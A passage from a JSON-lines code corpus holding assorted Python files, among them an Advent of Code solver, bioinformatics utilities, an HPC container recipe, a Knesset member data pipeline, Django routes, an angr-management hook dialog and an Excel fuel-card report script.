nr in rangepairs[1]:\n alltickets.remove(nr)\n break\n\n#Answer 1\nprint(sum(alltickets))\n\n#Part2\n#Removeall bad tickets\nfor ticket in ticketgroups.copy():\n for nr in ticket:\n if nr in alltickets:\n ticketgroups.remove(ticket)\n\n#Create columns of valid values\ncolumnValues = {}\nfor column in range(0,len(ticketgroups[0])):\n columnValues[column]=[]\n for row in range(0,len(ticketgroups)):\n columnValues[column].append(ticketgroups[row][column])\n\n#Return correct types for column\ndef validTypes(column):\n answer = []\n for type, rangepairs in data.items():\n valid = True\n for row in column:\n if row not in rangepairs[0] and row not in rangepairs[1]:\n valid = False\n break\n if valid:\n answer.append(type)\n return answer\n\n#Pairs of columns and all its valid types\ncolumnTypes = [ (column, validTypes(value)) for column, value in columnValues.items() ]\n\ndef setLength(tuple):\n return len(tuple[1])\ncolumnTypes.sort(key=setLength)\n\ndef eliminator(tupleList, answer):\n if len(tupleList) == 0:\n return answer\n\n type = tupleList[0][1][0]\n answer[tupleList[0][0]] = type\n tupleList.remove(tupleList[0])\n\n for tuple in tupleList:\n if type in tuple[1]:\n tuple[1].remove(type)\n\n tupleList.sort(key=setLength)\n return eliminator(tupleList, answer)\n\nfinalMap = eliminator(columnTypes,{})\n#print(finalMap)\n\nanswer = 1\nfor column in range(0,len(myticket)):\n if \"departure\" in finalMap[column]:\n answer *= myticket[column]\n\nprint(answer) #answer 2","sub_path":"day16.py","file_name":"day16.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"33888524","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\nimport sys\nimport argparse\n\nimport HTSeq\n\nparser = argparse.ArgumentParser(description='Gene lengths from a GTF file.')\n\nparser.add_argument('-p', '--protein', help='only examine protein coding genes', required=False, action=\"store_true\")\nparser.add_argument('-g', '--gtf', help='a GTF file with genome features', required=True)\n\nargs=parser.parse_args()\n\nif args.protein:\n print(\"Filtering out all GTF entries except those for protein coding\", file=sys.stderr)\n\n#\n# main()\n# \ndef main():\n\n gtf_file = HTSeq.GFF_Reader(args.gtf)\n\n gene_name_to_longest_exon = {}\n \n for feature in gtf_file:\n if feature.type == \"exon\":\n \n gene_type = feature.attr[\"gene_type\"]\n if args.protein:\n if gene_type != \"protein_coding\":\n continue\n \n gene_name = feature.attr[\"gene_name\"]\n exon_length = feature.iv.length\n \n if gene_name in gene_name_to_longest_exon:\n if exon_length > gene_name_to_longest_exon[gene_name]:\n gene_name_to_longest_exon[gene_name] = exon_length\n else:\n gene_name_to_longest_exon[gene_name] = exon_length\n\n \n print(\"Gene\", \"LongestExonLength\", sep=\"\\t\", file=sys.stdout)\n for gene_name in gene_name_to_longest_exon:\n print(gene_name, gene_name_to_longest_exon[gene_name], sep=\"\\t\", file=sys.stdout)\n \n#\n# end: main()\n# \n\n\nif __name__ == '__main__': \n main()\n","sub_path":"longestExon.py","file_name":"longestExon.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"37495178","text":"#!/usr/bin/env python\n\nfrom collections import namedtuple\n\nimport numpy as np\nfrom scipy.stats import hypergeom\nimport pandas as pd\n\n\ndef max_pairwise(gene_scores, ntop=200, second_greatest=False):\n \"\"\" Get the maximum pairwise overlap of top genes\n\n Parameters\n ----------\n gene_scores : ndarray\n (ngenes, nfactors) array of gene scores\n ntop : int (optional, default 200)\n Number of top genes to consider in each factor\n second_greatest : bool, optional\n Return the second greatest pairwise overlap of top genes\n\n Returns\n -------\n max_pairwise : int\n The maximum pairwise overlap of the `ntop` highest scoring genes in\n each factors\n p : float\n Hypergeometric p value of max_pairwise, where the number of genes is\n the population size, `ntop` is the number of potential successes and\n the number of draws, and max_pairwise is the number of successes.\n \"\"\"\n tops = np.argsort(gene_scores, axis=0)[-ntop:]\n max_pairwise, last_max = 0, 0\n for i in range(tops.shape[1]):\n for j in range(tops.shape[1]):\n if i >= j:\n continue\n overlap = len(np.intersect1d(tops[:,i], tops[:,j]))\n if overlap > max_pairwise:\n last_max = max_pairwise\n max_pairwise = overlap\n elif overlap > last_max:\n last_max = overlap\n\n overlap = last_max if second_greatest else max_pairwise\n p = hypergeom.pmf(k=overlap, M=gene_scores.shape[0],\n N=ntop, n=ntop) \\\n + hypergeom.sf(k=overlap, M=gene_scores.shape[0],\n N=ntop, n=ntop)\n Overlap = namedtuple('Overlap', ['overlap', 'p'])\n return Overlap(overlap, p)\n\n\ndef max_pairwise_table(gene_scores, ntop_list=[50,100,150,200,250,300]):\n \"\"\" Get the maximum pairwise overlap at\n\n Parameters\n ----------\n gene_scores : ndarray\n (ngenes, nfactors) array of gene scores\n ntop_list : list, optional\n List of values of ntop to evaluate\n\n Returns\n -------\n df : DataFrame\n \"\"\"\n max_overlap, p_max, max2_overlap, p_max2 = [],[],[],[]\n for ntop in ntop_list:\n o = max_pairwise(gene_scores, ntop, False)\n max_overlap.append( o.overlap )\n p_max.append( o.p )\n\n o2 = max_pairwise(gene_scores, ntop, True)\n max2_overlap.append( o2.overlap )\n p_max2.append( o2.p )\n df = pd.DataFrame({'ntop' : ntop_list, 'max_overlap' : max_overlap,\n 'p_max' : p_max, 'max2_overlap' : max2_overlap, 'p_max2' : p_max2})\n return df\n","sub_path":"schpf/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"296718457","text":"from enum import Enum\n\nimport random\nfrom random import randrange\n\nfrom ..string_util import doc_to_hierarchical_offsets\n\nfrom .base import MaskFn\n\n\nclass MaskMSentenceType(Enum):\n SENTENCE = 0\n\n\nclass MaskMSentence(MaskFn):\n def __init__(self, p=1.0 / 3.0, verse=False):\n if not verse:\n from nltk.tokenize import sent_tokenize\n try:\n sent_tokenize('Ensure punkt installed.')\n except:\n raise ValueError('Need to call nltk.download(\\'punkt\\')')\n self.p = p\n self.verse = verse\n\n @classmethod\n def mask_types(cls):\n return list(MaskMSentenceType)\n\n @classmethod\n def mask_type_serialize(cls, m_type):\n return m_type.name.lower()\n\n def mask(\n self,\n doc,\n mask_sentence_p=None):\n doc_offs = doc_to_hierarchical_offsets(doc, verse=self.verse)\n\n mask_sentence_p = self.p if mask_sentence_p is None else mask_sentence_p\n\n def _trial(p):\n if p <= 0:\n return False\n else:\n return random.random() < p\n\n masked_spans = []\n\n doc_off, doc_len, p_offs = doc_offs\n for p_off, p_len, s_offs in p_offs:\n if len(s_offs) > 3:\n # mask every middle sentence by p\n # for s_ind, (s_off, s_len, w_offs) in enumerate(s_offs[1:-1]):\n # if _trial(mask_sentence_p):\n # masked_spans.append((MaskMSentenceType.SENTENCE, s_off, s_len))\n # random mask one sentence from middle sentences\n k = randrange(len(s_offs)-2) + 1\n s_off, s_len, _ = s_offs[k]\n masked_spans.append((MaskMSentenceType.SENTENCE, s_off, s_len))\n\n\n return masked_spans\n\n\nclass MaskMSentenceVerse(MaskMSentence):\n def __init__(self, *args, **kwargs):\n return super().__init__(*args, verse=True, **kwargs)\n","sub_path":"ilm/mask/mid_sentence.py","file_name":"mid_sentence.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"85657951","text":"\"\"\"\nHPC Base image\n\nContents:\n CUDA version 9.0\n FFTW version 3.3.8\n GNU compilers (upstream)\n HDF5 version 1.10.4\n Mellanox OFED version 3.4-1.0.0.0\n OpenMPI version 3.1.2\n Python 2 and 3 (upstream)\n\"\"\"\n# pylint: disable=invalid-name, undefined-variable, used-before-assignment\n\n# Choose between either Ubuntu 16.04 (default) or CentOS 7\n# Add '--userarg centos=true' to the command line to select CentOS\ndevel_image = 'nvidia/cuda:9.0-devel-ubuntu16.04'\nruntime_image = 'nvidia/cuda:9.0-runtime-ubuntu16.04'\nif USERARG.get('centos', False):\n devel_image = 'nvidia/cuda:9.0-devel-centos7'\n runtime_image = 'nvidia/cuda:9.0-runtime-centos7'\n\n######\n# Devel stage\n######\n\nStage0 += comment(__doc__, reformat=False)\n\nStage0 += baseimage(image=devel_image, _as='devel')\n\n# Python\npython = python()\nStage0 += python\n\n# GNU compilers\ngnu = gnu()\nStage0 += gnu\n\n# Setup the toolchain. Use the GNU compiler toolchain as the basis.\ntc = gnu.toolchain\ntc.CUDA_HOME = '/usr/local/cuda'\n\n# Mellanox OFED\nofed = mlnx_ofed(version='3.4-1.0.0.0')\nStage0 += ofed\n\n# OpenMPI\nompi = openmpi(version='3.1.2', toolchain=tc)\nStage0 += ompi\n\n# FFTW\nfftw = fftw(version='3.3.8', mpi=True, toolchain=tc)\nStage0 += fftw\n\n# HDF5\nhdf5 = hdf5(version='1.10.4', toolchain=tc)\nStage0 += hdf5\n\n######\n# Runtime image\n######\n\nStage1 += baseimage(image=runtime_image)\n\n# Python\nStage1 += python.runtime()\n\n# GNU compiler\nStage1 += gnu.runtime()\n\n# Mellanox OFED\nStage1 += ofed.runtime()\n\n# OpenMPI\nStage1 += ompi.runtime()\n\n# FFTW\nStage1 += fftw.runtime()\n\n# HDF5\nStage1 += hdf5.runtime()\n","sub_path":"recipes/hpcbase-gnu-openmpi.py","file_name":"hpcbase-gnu-openmpi.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"116633085","text":"\"\"\"\nAuthor: ta\nDate and time: 26/10/2016 - 21:45\n\"\"\"\n\nimport numpy as np\n\n\ndef euclidean_distance(X, Y):\n # Inputs:\n # X : numpy array with shape (n,d) i.e. n vectors of dimension d\n # Y : numpy array with shape (m,d) i.e. m vectors of dimension d\n # Output:\n # D : numpy array with shape (n,m) where D[i,j] = ||X[i,:]-Y[j,:]||^2\n n = X.shape[0]\n m = Y.shape[0]\n normX2 = np.sum(np.multiply(X, X), axis=1)\n # np.multiply(X,X) has shape (n,d)\n # after np.sum it has shape (n,) considered as (1,n)\n X2 = np.tile(normX2.reshape(n, 1), (1, m))\n normY2 = np.sum(np.multiply(Y, Y), axis=1)\n Y2 = np.tile(normY2.reshape(1, m), (n, 1))\n return X2 + Y2 - 2 * np.matmul(X, Y.T)\n\n\n# X = np.random.randn(10, 2)\n# Y = np.random.randn(5, 2)\n# print(euclidean_distance(X, Y).shape)\n","sub_path":"euclidean_distance.py","file_name":"euclidean_distance.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"332645152","text":"import unittest\nfrom os import path\nfrom pbalign.pbalignrunner import PBAlignRunner\nfrom test_setpath import ROOT_DIR, DATA_DIR, OUT_DIR\n\nclass Test_PBAlignRunner(unittest.TestCase):\n def setUp(self):\n self.rootDir = ROOT_DIR\n self.queryFile = path.join(self.rootDir, \"data/subreads_dataset1.xml\")\n self.referenceFile = path.join(self.rootDir, \"data/reference_lambda.xml\")\n self.configFile = path.join(self.rootDir, \"data/1.config\")\n self.bamOut = path.join(OUT_DIR, \"lambda_out.bam\")\n\n def test_init(self):\n \"\"\"Test PBAlignRunner.__init__().\"\"\"\n argumentList = ['--minAccuracy', '70', '--maxDivergence', '30',\n self.queryFile, self.referenceFile,\n self.bamOut]\n pbobj = PBAlignRunner(argumentList = argumentList)\n self.assertEqual(pbobj.start(), 0)\n\n def test_init_with_algorithmOptions(self):\n \"\"\"Test PBAlignRunner.__init__() with --algorithmOptions.\"\"\"\n argumentList = ['--algorithmOptions', '-minMatch 10 -useccsall',\n self.queryFile, self.referenceFile,\n self.bamOut]\n pbobj = PBAlignRunner(argumentList = argumentList)\n self.assertEqual(pbobj.start(), 0)\n\n def test_init_with_config_algorithmOptions(self):\n \"\"\"Test PBAlignRunner.__init__() with a config file and --algorithmOptions.\"\"\"\n argumentList = ['--algorithmOptions', '-maxMatch 20 -nCandidates 30',\n '--configFile', self.configFile,\n self.queryFile, self.referenceFile,\n self.bamOut]\n\n pbobj = PBAlignRunner(argumentList = argumentList)\n self.assertEqual(pbobj.start(), 0)\n\n def test_init_expect_conflicting_options(self):\n \"\"\"Test PBAlignRunner.__init__() with a config file and --algorithmOptions\n and expect a ValueError for conflicting options.\"\"\"\n argumentList = ['--algorithmOptions', '-minMatch 10 -useccsall',\n '--configFile', self.configFile,\n self.queryFile, self.referenceFile,\n self.bamOut]\n pbobj = PBAlignRunner(argumentList = argumentList)\n with self.assertRaises(ValueError) as cm:\n # Expect a ValueError since -minMatch and --minAnchorSize conflicts.\n pbobj.start()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/unit/test_pbalign.py","file_name":"test_pbalign.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"186016500","text":"from datapackage_pipelines.wrapper import ingest, spew\nimport logging, yaml, json\n\n\nparameters, datapackage, resources = ingest()\naggregations = {\"stats\": {}}\nkns_mksitecode, kns_person = None, None\nkns_person_descriptor = None\nkns_persontoposition, kns_position = None, None\nmk_individual_resource, mk_individual_descriptor = None, None\n\n\nmk_altnames = {}\nwith open('oknesset_all_mk_names_May26_2018.json') as f:\n for mk, mk_name in zip(*json.load(f)):\n mk_altnames.setdefault(int(mk[\"id\"]), set()).add(mk_name.strip())\n\n\nfor descriptor, resource in zip(datapackage[\"resources\"], resources):\n if descriptor[\"name\"] == \"kns_mksitecode\":\n kns_mksitecode = {int(row[\"SiteId\"]): row for row in resource}\n elif descriptor[\"name\"] == \"kns_person\":\n kns_person = {int(row[\"PersonID\"]): row for row in resource}\n kns_person_descriptor = descriptor\n elif descriptor[\"name\"] == \"mk_individual\":\n mk_individual_resource = resource\n mk_individual_descriptor = descriptor\n elif descriptor[\"name\"] == \"kns_position\":\n kns_position = {int(row[\"PositionID\"]): row for row in resource}\n elif descriptor[\"name\"] == \"kns_persontoposition\":\n kns_persontopositions = {}\n for row in resource:\n kns_persontopositions.setdefault(int(row[\"PersonID\"]), []).append(row)\n else:\n for row in resource:\n pass\n\n\nKNOWN_MK_PERSON_IDS = {\n 955: kns_person[30407] # Yehuda Glick - has a mismatch in name between mk_individual and kns_person\n}\n\n\n# TODO: remove this mk_individual matching function once this bug is fixed: https://github.com/hasadna/knesset-data/issues/147\ndef find_matching_kns_person(mk):\n for person_id, person in kns_person.items():\n person_first, person_last, person_email = person[\"FirstName\"].strip(), person[\"LastName\"].strip(), person[\"Email\"]\n mk_first, mk_last, mk_email = mk[\"mk_individual_first_name\"].strip(), mk[\"mk_individual_name\"].strip(), mk[\"mk_individual_email\"]\n name_match = (len(person_first) > 1 and len(mk_first) > 1 and person_first == mk_first and person_last == mk_last)\n email_match = (person_email and mk_email\n and len(person_email.strip()) > 5 and len(mk_email.strip()) > 5 and\n person_email.strip().lower() == mk_email.strip().lower())\n if name_match or email_match:\n return person_id, person\n person = KNOWN_MK_PERSON_IDS.get(int(mk[\"mk_individual_id\"]))\n if person:\n return person[\"PersonID\"], person\n return None, None\n\n\ndef get_person_positions(person_id):\n for kns_persontoposition_row in kns_persontopositions[person_id]:\n mk_position = {field: kns_persontoposition_row[field] for field in (\"KnessetNum\",\n \"GovMinistryID\", \"GovMinistryName\",\n \"DutyDesc\",\n \"FactionID\", \"FactionName\",\n \"GovernmentNum\",\n \"CommitteeID\", \"CommitteeName\")}\n if not parameters.get(\"filter-knesset-num\") or int(mk_position[\"KnessetNum\"]) in parameters[\"filter-knesset-num\"]:\n position_id = int(kns_persontoposition_row[\"PositionID\"])\n position = kns_position[position_id]\n finish_date = kns_persontoposition_row[\"FinishDate\"]\n mk_position.update(start_date=kns_persontoposition_row[\"StartDate\"].strftime('%Y-%m-%d %H:%M:%S'),\n finish_date=finish_date.strftime('%Y-%m-%d %H:%M:%S') if finish_date else None,\n position=position[\"Description\"],\n position_id=position_id,\n gender={250: \"f\", 251: \"m\", 252: \"o\"}[int(position[\"GenderID\"])],)\n yield {k: v for k, v in mk_position.items() if v}\n\n\ndef get_mk_individual_resource(resource):\n with open('join_mks_extra_details.yaml') as f:\n mks_extra = yaml.load(f)\n for mk_individual_row in resource:\n mk_individual_id = int(mk_individual_row[\"mk_individual_id\"])\n kns_person_id, kns_person_row = None, None\n mksitecode = kns_mksitecode.get(mk_individual_id)\n if mksitecode:\n kns_person_id = int(mksitecode[\"KnsID\"])\n kns_person_row = kns_person.get(kns_person_id)\n if not kns_person_row:\n logging.warning(\"person mismatch in kns_mksitecode for mk_individual_id {}\".format(mk_individual_id))\n kns_person_id = None\n if not kns_person_id:\n kns_person_id, kns_person_row = find_matching_kns_person(mk_individual_row)\n if not kns_person_id or not kns_person_row:\n raise Exception(\"Failed to find matching person for mk_invidual {}\".format(mk_individual_id))\n if parameters.get(\"filter-is-current\") is None or kns_person_row[\"IsCurrent\"] == parameters[\"filter-is-current\"]:\n mk_individual_row.update(**kns_person_row)\n mk_individual_row[\"positions\"] = list(get_person_positions(kns_person_id))\n altnames = mk_altnames.setdefault(mk_individual_id, set())\n altnames.add(\"{} {}\".format(mk_individual_row[\"mk_individual_first_name\"].strip(),\n mk_individual_row[\"mk_individual_name\"].strip()).strip())\n altnames.add(\"{} {}\".format(kns_person_row[\"FirstName\"].strip(),\n mk_individual_row[\"LastName\"].strip()).strip())\n if mk_individual_id in mks_extra:\n mk_extra = mks_extra[mk_individual_id]\n if 'altnames' in mk_extra:\n altnames.update(set(mk_extra['altnames']))\n mk_individual_row[\"altnames\"] = list(altnames)\n yield mk_individual_row\n\n\nmk_individual_descriptor[\"schema\"][\"fields\"] += kns_person_descriptor[\"schema\"][\"fields\"] \\\n + [{\"name\": \"positions\", \"type\": \"array\"},\n {\"name\": \"altnames\", \"type\": \"array\"}]\n\n\nspew(dict(datapackage, resources=[mk_individual_descriptor]),\n [get_mk_individual_resource(mk_individual_resource)],\n aggregations[\"stats\"])\n","sub_path":"join_mks.py","file_name":"join_mks.py","file_ext":"py","file_size_in_byte":6445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"230601028","text":"#-*- coding:utf-8 -*-\n\n# memberApp/urls.py\n\nfrom django.conf.urls import url, include\nfrom memberApp import views\n\nurlpatterns = [\n url(r'^list/$', views.list),\n url(r'^insertform/$', views.insertform),\n url(r'^insert/$', views.insert),\n url(r'^delete/$', views.delete),\n url(r'^updateform/$', views.updateform),\n url(r'^update/$', views.update),\n]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Step01_RequestParam2/memberApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"6639263","text":"import json\nimport pandas as pd\nimport os\nimport itertools\nimport numpy as np\n\nclass DotADB:\n def __init__(self, basepath):\n self.basepath = basepath\n self._fetch_heroes_()\n self._to_pandas_()\n\n def _fetch_heroes_(self):\n\n with open(os.path.join(self.basepath, 'heroes.json'), 'r') as fp:\n self.heroes_json = json.load(fp)\n with open(os.path.join(self.basepath, 'heroes-extended.json'), 'r') as fp:\n self.heroes_extended_json = json.load(fp)\n\n def _to_pandas_(self):\n\n # put the two tables into separate DF's\n hero_names = [hero['name'] for hero in self.heroes_json['result']['heroes']]\n hero_id = [hero['id'] for hero in self.heroes_json['result']['heroes']]\n hero_loc_name = [hero['localized_name'] for hero in self.heroes_json['result']['heroes']]\n\n hero_names_extended = [self.heroes_extended_json[hero_name]['name'] for hero_name in self.heroes_extended_json]\n hero_atk_extended = [self.heroes_extended_json[hero_name]['atk'] for hero_name in self.heroes_extended_json]\n hero_roles_extended = [self.heroes_extended_json[hero_name]['roles'] for hero_name in self.heroes_extended_json]\n\n self.hero = pd.DataFrame({\n 'name':hero_names, 'id':hero_id, 'localized_name':hero_loc_name,\n })\n self.hero_extended = pd.DataFrame({\n 'localized_name': hero_names_extended, 'atk': hero_atk_extended, 'roles': hero_roles_extended,\n })\n\n # merge the two tables on 'localized_name' and 'name', not ideal but all we've got\n self.hero_full = self.hero.merge(self.hero_extended, on='localized_name', suffixes=('',''))\n\n # no easy way to do this, but acceptable for small lists like this, extract all possible roles\n self.roles_list = list(set(itertools.chain.from_iterable(self.hero_full.roles.values.tolist())))\n self.roles_list.sort()\n\n roles_dict = {}\n n_hero = len(self.hero_full)\n\n # one-ht encoding table for roles\n for role in self.roles_list:\n roles_dict[role] = np.zeros(shape=(n_hero,)).astype(int)\n for i, row in enumerate(self.hero_full['roles']):\n for r in row:\n roles_dict[r][i] = 1\n\n roles_df = pd.DataFrame(roles_dict)\n self.hero_full = self.hero_full.merge(roles_df, left_index=True, right_index=True)\n","sub_path":"DotADB.py","file_name":"DotADB.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"612718624","text":"from django.conf.urls import url\n#this is for have the url in the app the . point is for tell the website to stay in the same directory home\nfrom . import views\n\napp_name = 'music'\n\nurlpatterns = [\n url(r'^$',views.index, name='index'),\n #This is the structure of the link or the url /music/71/ is the view and the id of the song\n url(r'^(?P[0-9]+)/$', views.detail, name='detail'),\n\n url(r'^(?P[0-9]+)/favorite/$', views.favorite, name='favorite'),\n]","sub_path":"music/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"650830474","text":"from PySide2.QtWidgets import QDialog, QVBoxLayout, QHBoxLayout, QLabel, QPushButton, \\\n QGridLayout, QComboBox, QRadioButton, QGroupBox, QScrollArea, QWidget, \\\n QLineEdit, QTextEdit, QTreeWidget, QTreeWidgetItem, QPlainTextEdit\nfrom PySide2.QtCore import Qt\nfrom PySide2.QtGui import QSyntaxHighlighter, QTextOption\n\nfrom ..widgets import QAddressInput, QStateComboBox\nfrom .py_highlight import PythonHighlighter\n\n\nclass ShowHook(QDialog):\n\n def __init__(self, instance, addr=None, create_simgr=True, parent=None):\n super(ShowHook, self).__init__(parent)\n\n # initialization\n\n self.instance = instance\n\n if \"hooks\" not in dir(self.instance.project):\n self.instance.project.hooks = {}\n\n self.hooks = self.instance.project.hooks\n\n self.state = None # output\n\n self._addr = addr\n\n self.templates = {}\n\n self._add_templates(hex(addr))\n\n self._function_box = None\n self._ok_button = None\n\n self.setWindowTitle('Change hook')\n\n self.main_layout = QVBoxLayout()\n\n self._init_widgets()\n\n self.setLayout(self.main_layout)\n\n #\n # Private methods\n #\n\n def _add_templates(self, addr):\n self.templates['base'] = f\"\"\"\n@p.hook(addr={addr}, length=0)\ndef hook(state):\n ...\n \"\"\"\n\n self.templates['assertion'] = f\"\"\"\n@p.hook(addr={addr}, length=0)\ndef assertion(state):\n state.add_constraints(\n ...\n )\"\"\"\n\n self.templates['disable unicorn'] = f\"\"\"\n@p.hook(addr={addr}, length=0)\ndef disable_unicorn(state):\n state.options.discard(\"UNICORN\")\n state.options.discard(\"UNICORN_HANDLE_TRANSMIT_SYSCALL\")\n state.options.discard(\"UNICORN_SYM_REGS_SUPPORT\")\n state.options.discard(\"UNICORN_TRACK_BBL_ADDRS\")\n state.options.discard(\"UNICORN_TRACK_STACK_POINTERS\")\n \"\"\"\n\n self.templates['enable unicorn'] = f\"\"\"\n@p.hook(addr={addr}, length=0)\ndef enable_unicorn(state):\n state.options.add(\"UNICORN\")\n state.options.add(\"UNICORN_HANDLE_TRANSMIT_SYSCALL\")\n state.options.add(\"UNICORN_SYM_REGS_SUPPORT\")\n state.options.add(\"UNICORN_TRACK_BBL_ADDRS\")\n state.options.add(\"UNICORN_TRACK_STACK_POINTERS\")\n \"\"\"\n\n def update_function(self, template):\n self._function_box.setPlainText(template)\n\n def selected(self):\n btn = self.sender()\n if btn.isChecked():\n self.update_function(btn.template)\n\n def _init_widgets(self):\n\n layout = QGridLayout()\n\n row = 0\n\n # validation_failures = set()\n\n addr = hex(self._addr)\n\n address_label = QLabel(self)\n address_label.setText(f\"Hook at address {addr}:\")\n\n layout.addWidget(address_label, row, 0)\n row += 1\n\n options_container = QGroupBox(self)\n options = QVBoxLayout()\n\n\n\n for name, template in sorted(self.templates.items()):\n child = QRadioButton()\n child.setText(name)\n child.template = template\n child.toggled.connect(self.selected)\n options.addWidget(child)\n\n scroll_area = QScrollArea(self)\n scroll_area.setWidgetResizable(True)\n widget = QWidget()\n scroll_area.setWidget(widget)\n layout_scroll = QVBoxLayout(widget)\n\n header_label = QLabel(self)\n header_label.setText(\"Presets:\")\n\n layout_scroll.addWidget(header_label)\n layout_scroll.addWidget(options_container)\n options_container.setLayout(options)\n layout.addWidget(scroll_area, row, 0)\n row += 1\n\n\n function_box = QPlainTextEdit(self)\n\n if addr in self.hooks.keys():\n function_box.insertPlainText(self.hooks[addr])\n\n highlight = PythonHighlighter(function_box.document())\n function_box.setWordWrapMode(QTextOption.WordWrap)\n self._function_box = function_box\n\n layout.addWidget(function_box, row, 0)\n row += 1\n\n # def add_indent():\n # txt = function_box.toPlainText()\n # if txt.endswith('\\n'):\n # embed()\n # indent = txt.search()\n # if txt.endswith(':\\n'):\n # function_box.insertPlainText(' ')\n\n # function_box.textChanged.connect(add_indent)\n # TODO: add python autoindent\n\n # buttons\n\n ok_button = QPushButton(self)\n ok_button.setText('OK')\n\n def do_ok():\n hook_code_string = function_box.toPlainText()\n self.instance.apply_hook(self._addr, hook_code_string)\n self.hooks[hex(self._addr)] = hook_code_string\n disasm_view = self.instance.workspace.view_manager.first_view_in_category(\"disassembly\")\n # So the hook icon shows up in the disasm view\n disasm_view.refresh()\n self.close()\n\n ok_button.clicked.connect(do_ok)\n\n cancel_button = QPushButton(self)\n cancel_button.setText('Cancel')\n\n def do_cancel():\n self.close()\n\n cancel_button.clicked.connect(do_cancel)\n\n buttons_layout = QHBoxLayout()\n buttons_layout.addWidget(ok_button)\n buttons_layout.addWidget(cancel_button)\n\n self.main_layout.addLayout(layout)\n self.main_layout.addLayout(buttons_layout)\n","sub_path":"angrmanagement/ui/dialogs/hook.py","file_name":"hook.py","file_ext":"py","file_size_in_byte":5269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"189688206","text":"#!/usr/bin/env python\n# -*- coding: utf-8\nfrom conn_mysql import DB\nimport json\nimport xlsxwriter\nimport datetime\nimport os\nimport sys\nimport ConfigParser\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nmydir = os.path.split(os.path.realpath(__file__))[0]\ncf = ConfigParser.SafeConfigParser()\ncf.read(os.path.join(mydir,'../../conf/.db.ini'))\ndb_host = cf.get('test_biz', 'host')\ndb_port = cf.get('test_biz', 'port')\ndb_name = cf.get('test_biz', 'db_name')\ndb_user = cf.get('test_biz', 'db_user')\ndb_pass = cf.get('test_biz', 'db_pass')\n\n\n#鱿鱼加油中石化副卡加油报表\ndef write_data_to_xlsx():\n datas = _get_()\n if not datas:\n print(u'没有获取到数据')\n sys.exit(1)\n yday = get_date(days=-1).strftime(\"%Y-%m-%d\")\n wb = xlsxwriter.Workbook(mydir + u'/../../xlss/guangxi/{0}_{1}.xlsx'.format('t5',yday))\n #加粗12,居中,0\n styles1 = wb.add_format({'bold': True, 'font_name': u'等线', 'font_size': 12, 'font_color': 'black',\n 'border': 1, 'align': 'center', 'valign': 'vcenter', 'num_format': '0'})\n #加粗11,不居中,0\n styles2 = wb.add_format({'bold': True, 'font_name': u'等线', 'font_size': 11, 'font_color': 'black',\n 'border': 1, 'valign': 'vcenters', 'num_format': '0'})\n #不加粗11,居中,0\n styles3 = wb.add_format({'bold': False, 'font_name': u'等线', 'font_size': 11, 'font_color': 'black',\n 'border': 1, 'align': 'center', 'valign': 'vcenter', 'num_format': '0'})\n #不加粗11,居中,0,自动换行\n styles4 = wb.add_format({'bold': False, 'font_name': u'等线', 'font_size': 11, 'font_color': 'black',\n 'border': 1, 'align': 'center', 'valign': 'vcenter', 'num_format': '0',\n 'text_wrap': 1})\n #不加粗11,右对齐,0.00\n styles5 = wb.add_format({'bold': False, 'font_name': u'等线', 'font_size': 11, 'font_color': 'black',\n 'border': 1, 'align': 'right', 'valign': 'vcenter', 'num_format': '0.00'})\n #不加粗11,右对齐,yyyy/m/d\n styles6 = wb.add_format({'bold': False, 'font_name': u'等线', 'font_size': 11, 'font_color': 'black',\n 'border': 1, 'align': 'center', 'valign': 'vcenter', 'num_format': 'yyyy/m/d'})\n #只设置字体\n styles7 = wb.add_format({'font_name': u'等线', 'font_size': 11})\n\n\n for mcard, vc_data in sorted(datas.items(), key=lambda item: item[0], reverse=False):\n ws = wb.add_worksheet(mcard)\n ws.set_column(first_col=1, last_col=1, width=12)\n ws.set_column(first_col=2, last_col=2, width=24)\n ws.set_column(first_col=3, last_col=7, width=12)\n ####表头设置####\n ws.merge_range(0, 0, 0, 7, u'鱿鱼加油中石化副卡加油报表', styles1)\n ws.write(1, 0, u'主卡卡号', styles3)\n ws.write(1, 1, mcard, styles2)\n ws.write(1, 7, u'单位:元', styles3)\n ws.write_row(2,0,[u'序号',u'时间',u'副卡卡号',u'上期余额',u'分配金额',u'圈存金额',u'加油金额',u'余额'],styles4)\n ####内容\n i, j = 3, 1\n for v_card,data in sorted(vc_data.items(),key=lambda item:item[0],reverse=False):\n ws.write(i, 0, j, styles3)\n ws.write_datetime(i, 1, datetime.datetime.strptime(yday, \"%Y-%m-%d\"), styles6)\n ws.write(i, 2, v_card, styles3)\n ws.write_row(i, 3, data, styles5)\n ws.write(i, 7, 